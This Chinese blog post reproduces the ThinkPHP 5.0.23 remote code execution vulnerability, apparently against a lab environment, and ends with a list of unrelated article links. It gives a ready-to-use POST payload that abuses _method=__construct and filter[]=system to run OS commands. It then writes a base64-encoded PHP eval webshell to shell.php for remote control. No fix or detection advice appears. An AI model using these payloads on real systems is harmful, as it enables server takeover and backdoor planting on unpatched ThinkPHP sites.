当前位置: 首页 > news >正文

ThinkPHP5 5.0.23-rce远程代码执行漏洞复现

启动环境,先关闭其他环境

启动

判断是否存在漏洞:访问/index.php?s=captcha页面,会出现报错

使用HackBar 插件发送 POST 请求

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir 

通过echo命令写入 Webshell 文件并把木马进行base64编码

post发送

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php

 访问shell.php,使用蚁剑连接

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • el-table使用#header自定义表头后脱离响应式问题处理
  • 设计模式学习[5]---装饰模式
  • 【C语言】编译原理
  • QMQTT在项目中的用法
  • 关于C++你应该知道的知识:C/C++内存管理
  • 【Python】正则表达式
  • python之异步任务
  • 数据结构与算法 第12天(排序)
  • python之对象间的关系
  • 14.2 k8s中我们都需要监控哪些组件
  • C#/.NET/.NET Core推荐学习路线文档文章
  • Linux新建虚拟机Ubuntu详解
  • Linux:软硬连接和动静态库
  • PhotoZoom9怎么样?图片模糊怎么办?
  • navigator.mediaDevices.getUserMedia检查用户的摄像头是否可用,虚拟摄像头问题
  • 时间复杂度分析经典问题——最大子序列和
  • [译]如何构建服务器端web组件,为何要构建?
  • 4月23日世界读书日 网络营销论坛推荐《正在爆发的营销革命》
  • extjs4学习之配置
  • extract-text-webpack-plugin用法
  • HomeBrew常规使用教程
  • java 多线程基础, 我觉得还是有必要看看的
  • JavaScript类型识别
  • JDK9: 集成 Jshell 和 Maven 项目.
  • js操作时间(持续更新)
  • Laravel 中的一个后期静态绑定
  • Python进阶细节
  • Redis字符串类型内部编码剖析
  • SAP云平台里Global Account和Sub Account的关系
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • uva 10370 Above Average
  • vue--为什么data属性必须是一个函数
  • 仿天猫超市收藏抛物线动画工具库
  • 买一台 iPhone X,还是创建一家未来的独角兽?
  • 融云开发漫谈:你是否了解Go语言并发编程的第一要义?
  • ​​​​​​​sokit v1.3抓手机应用socket数据包: Socket是传输控制层协议,WebSocket是应用层协议。
  • # 日期待t_最值得等的SUV奥迪Q9:空间比MPV还大,或搭4.0T,香
  • #stm32整理(一)flash读写
  • (3)(3.5) 遥测无线电区域条例
  • (二)测试工具
  • (附源码)ssm经济信息门户网站 毕业设计 141634
  • (含笔试题)深度解析数据在内存中的存储
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (四)事件系统
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • (转)winform之ListView
  • (转载)VS2010/MFC编程入门之三十四(菜单:VS2010菜单资源详解)
  • .axf 转化 .bin文件 的方法
  • .NET CORE使用Redis分布式锁续命(续期)问题
  • .NET 发展历程
  • .NET 同步与异步 之 原子操作和自旋锁(Interlocked、SpinLock)(九)
  • .NET 应用启用与禁用自动生成绑定重定向 (bindingRedirect),解决不同版本 dll 的依赖问题
  • .netcore 6.0/7.0项目迁移至.netcore 8.0 注意事项
  • .net通过类组装数据转换为json并且传递给对方接口
  • @configuration注解_2w字长文给你讲透了配置类为什么要添加 @Configuration注解